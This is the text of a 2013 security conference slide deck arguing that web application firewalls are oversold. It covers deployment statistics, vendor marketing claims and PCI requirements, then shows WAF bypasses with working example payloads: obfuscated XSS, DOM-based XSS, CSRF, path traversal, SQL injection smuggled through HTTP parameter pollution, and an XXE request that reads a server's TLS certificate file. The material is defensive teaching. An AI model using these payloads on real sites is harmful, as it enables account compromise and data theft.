«we protect your website» – no you don`t

“We protect you applications”!“No, you don’t”

Digicomp Hacking Day 2013 May 16th 2013

Sven Vetsch §  Partner & CTO at Redguard AG

§  www.redguard.ch §  Specialized in Application Security

§  (Web, Web-Services, Mobile, …) §  Leader OWASP Switzerland

§  www.owasp.org / www.owasp.ch

[email protected]

Twitter: @disenchant_ch / @redguard_ch

Disclaimer This presentation is focused on classic WAF

functionality so we won’t get into Single-Sign-On, Content Injection and so on.

All the views in this presentation are my own and not necessarily those of Redguard AG.

Outline

WAF in numbers

What do vendors tell

you

Bypassing techniques

Intro

I

>80% of organizations were attacked successfully at least once in 2011

Perceptions About Network Security - Ponemon Institute© Research Report, 2011

Companies hacked in 2012/2013

23% already experienced a data or system breach as a result of an application layer vulnerability

WhiteHat Security – Website Security Statistics Report May 2013

… only 29% in banking

55.6% of all organizations use WAFs


WAF Deployment by Industry


29

30

17

30

32

30

50

20

12

10

10

8

43

30

17

30

36

29

17

10

12

Banking

Financial Services

Healthcare

Retail

Technology

Monitoring and actively blocking attacks Currently only monitoring traffic Installing and/or configuration mode No WAF deployed Don't know

WAF usage after a breach

38%

19% 6%

6%

31%

Monitoring and actively blocking attacks

Currently only monitoring traffic

Installing and/or configuration mode

Don't know

No WAF deployed


62% of attacks can be blocked by a WAF with default rule sets

NT OBJECTives - Analyzing the Effectiveness of Web Application Firewalls 2011

Organizations with a Web Application Firewall

deployed had

11% more vulnerabilities,

resolved them 8% slower, and had a 7% lower remediation rate.


A WAF makes me less secure!?

§  Possible reasons: §  Insufficient global security processes §  Rules are not sufficient §  Not enough resources to manage the WAF §  WAFs are threated as if they could solve all

problem §  WAFs are only in monitoring mode instead of

blocking anything §  …

A WAF is a tool, not a solution

Don’t worry, there are also good news

By summing all these percentages up we could safely say that a WAF could feasible help mitigate the risk of at

least

71%

of all custom web application vulnerabilities


Vendor Claims

II

12 May 2013 Redguard AG | Sven Vetsch | [email protected] 21

Vendor Supplied Certificate

“[Product] guarantees security of web applications.”



“The [Company] Web Application Firewall quickly protects web servers from data

breaches and websites from defacement without administrators waiting for clean code or even knowing how an application works.”



“Fully addresses PCI 6.6”



“Fully addresses PCI 6.6”

Data Security Standard v2

6.6 For public-facing web applications, address new threats and vulnerabilities on an ongoing basis and ensure these applications are protected against known attacks by either of the following methods: •  Reviewing public-facing web applications via manual or automated

application vulnerability security assessment tools or methods, at least annually and after any changes

•  Installing a web-application firewall in front of public-facing web

applications



“Because of its unique blend of HTML and XML security, the [Company] Web Application Firewall

provides a full compliance solution for the PCI DSS sections 6.5 and 6.6, which mandate the implementation of a Web application firewall by

June 30, 2008.”



“Because of its unique blend of HTML and XML security, the [Company] Web Application Firewall

provides a full compliance solution for the PCI DSS sections 6.5 and 6.6, which mandate the implementation of a Web application firewall by

June 30, 2008.”

Data Security Standard v2

6.5 Develop applications based on secure coding guidelines. Prevent common coding vulnerabilities in software development processes, to include the following: [OWASP Top 10]



The [Product] offers you the following technical features: •  ... •  Session fixation •  …

Bypassing WAFs

III

Insecure Rules §  Let’s take the following pseudo rule: if ($path == "/admin") { if ($ipaddr == $internal_ipaddr)

[block request]

else

[allow request]

}

Insecure Rules

WAF /admin

192.168.1.42

203.0.113.23

Insecure Rules

WAF /../admin

192.168.1.42

203.0.113.23

Insecure Rules

"/admin" == "/admin" -> true

"/../admin" == "/admin"

-> false

XSS – Obfuscation §  When non-security people talk about XSS <script>alert("XSS");</script>

XSS – Obfuscation §  When security people talk about XSS <script>alert(String.fromCharCode(88,83,83));</script>

<IMG SRC=javascript:alert('XSS')>

XSS – Obfuscation §  When appsec people talk about XSS <script> window[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](("XSS"))

</script>

XSS – Obfuscation §  When appsec people talk about XSS <script> [][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+[]]+([][[]]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(![]+[])[!+[]+!![]+!![]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(+{}+[])[+!![]]+([]+[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+…

</script> Try it yourself: http://patriciopalladino.com/files/hieroglyphy/

DOM-based XSS <!DOCTYPE html> <html> <body> Hello <span id="name"></span> <script> document.getElementById("name").innerHTML = document.location.hash.slice(1); </script> </body> </html>

DOM-based XSS http://www.example.com/#John

http://www.example.com/#<h1>John</h1>

DOM-based XSS http://www.example.com/#<img src="x" onerror="alert(1)"/>

A XSS attack like the one showed

never hits the server

… so screw your WAF

Cross-Site Request Forgery (CSRF) http://www.evil.com http://www.nice.com

1 3

2 <img

src=“http://www.nice.com

/buy?article=123” />

Without understanding the application or modifying the HTTP response, a WAF

can’t protect against CSRF

attacks.

… my experience would be more around 50%

11.2% of all application are vulnerable to CSRF attacks


HTTP Parameter Pollution (HPP) http://www.google.com/?q=<script>&q=alert("XSS")&q=</script>

HTTP Parameter Pollution (HPP)

http://www.example.com/?id=1&id=2

Technology Behavior Result

ASP / ASP.NET ConcatenaJon id=1,2

PHP Last occurrence id=2

Java First occurrence id=1

HTTP Parameter Pollution (HPP) §  Let’s have a look at the following simple

pseudo rule against SQL Injection attacks: if $param_id.match(/.*select.*from.*/) [block request]

HTTP Parameter Pollution (HPP) http://www.example.com/page.aspx?id=123 http://www.example.com/page.aspx? id=123;select%201,password%20from%20 users;%20-- http://www.example.com/page.aspx? id=123;&id=select%201&id=password%20from %20users;%20--

HTTP Parameter Pollution (HPP) http://www.example.com/page.aspx? id=123;&id=select%201&id=password%20from

%20users;%20--

§  id = 123;

§  id = select 1 §  id = password from users; --

-> 123; select 1,password from users; --

WAF rules are

not

platform independent

More things your WAF isn’t good at §  Anti-Automation and process validation §  Understanding application logic §  Insufficient Authentication & Authorization §  Brute Force Attacks §  Session Fixation §  Anomaly Detection §  Improper Filesystem Permissions §  Securing client side running code §  …

Hacking a WAF (for fun and profit) §  In the past, WAFs also suffered from

vulnerabilities like: §  Filter Bypasses (a lot of them!!!) §  XSS in their web admin interface §  CSRF in their web admin interface §  Default SSH root passwords §  Information Disclosure about the LAN/DMZ §  Arbitrary remote command execution §  XML External Entity (XXE) Attacks

Hacking a WAF (for fun and profit)

Example scenario based on ModSecurity

XML External Entity (XXE) vulnerability CVE-2013-1915


WAF


/etc/apache2/ssl/cert.pem

WAF


Request:

Response:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/apache2/ssl/cert.pem" >]><foo>&xxe;</foo>


WAF

Wrap Up

IV

Conclusion WAFs … §  are good – at least they can help you §  must be tuned by a trained professional §  can’t compensate insecure code §  aren’t an alternative to patching vulnerabilities §  can generate a lot of profit for vendors so be

careful about what features you really need and how well they perform

§  don’t solve all your appsec problems

We should accept WAFs for what they really are: a method of

increasing the cost of attacks, but not necessarily one that might

repel every attacker.

Ivan Ristic

Q & A [email protected] @disenchant_ch / @redguard_ch